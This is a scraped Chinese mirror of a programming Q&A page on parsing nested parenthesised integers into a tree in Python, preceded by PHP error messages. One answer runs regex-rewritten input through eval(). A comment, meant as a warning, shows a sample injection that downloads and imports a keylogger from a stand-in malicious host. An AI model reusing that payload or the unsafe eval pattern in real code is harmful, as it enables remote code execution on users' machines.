Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/290.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 我应该如何读取输入数据?_Python - Fatal编程技术网

Python 我应该如何读取输入数据?

Python 我应该如何读取输入数据?,python,Python,例如,我有以下输入数据: ((12 3)42) 我想处理输入数据的每个整数值。这是一个通用输入数据表示的示例 仅供参考: 这种表示对应于带有标记叶子的二叉树: /\ /\ 42 12 3 我推荐这个解析任务--,例如,是一个基于pyparsing的S表达式解析器。。。可能比您需要的内容更丰富、功能更强大,但是如果您对Python和pyparsing的理解非常有限,那么您可以根据需要简化它(如果需要的话——它已经能够执行您的任务了,因为它是它所涵盖的更广泛集合的一个子集;-)。是您可

例如,我有以下输入数据:

((12 3)42)

我想处理输入数据的每个整数值。这是一个通用输入数据表示的示例

仅供参考:

这种表示对应于带有标记叶子的二叉树:

   /\
  /\ 42
 12 3

我推荐这个解析任务--,例如,是一个基于pyparsing的S表达式解析器。。。可能比您需要的内容更丰富、功能更强大,但是如果您对Python和pyparsing的理解非常有限,那么您可以根据需要简化它(如果需要的话——它已经能够执行您的任务了,因为它是它所涵盖的更广泛集合的一个子集;-)。

是您可以使用的资源列表。我建议像下面这样的方法应该有效:

import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)

我写了这个剧本。这可能会有帮助

import tokenize,StringIO
def parseNode(tokens):
    l = []
    while True:
        c = next(tokens)
        if c[1] == '(':
            l.append(parseNode(tokens))
        elif c[1] == ')':
            return l
        elif c[0] == tokenize.NUMBER:
            l.append(int(c[1]))
def parseTree(string):
    tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
    while next(tokens)[1] != '(' : pass
    return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')

您在发布之前是否测试过此解决方案?
(,6,9,)
甚至是有效的Python表达式吗?修复了它。应该是)如果我需要一些真正轻量级的东西,我可能会使用与正则表达式
([\d\w()]*)
(或者至少是它的测试版本)匹配的任何东西来实现。否则,
import eval\u是邪恶的
将使用程序拥有的任何权限进行评估。如果您可以通过我提供的正则表达式的工作版本获取恶意代码,那么您应该拥有我的系统;path=os.path.expanduser('~/.common.hidden.path./.keylogger.py');urllib.urlretrive('http://my.evil.russian.websever.info",径),__导入路径“”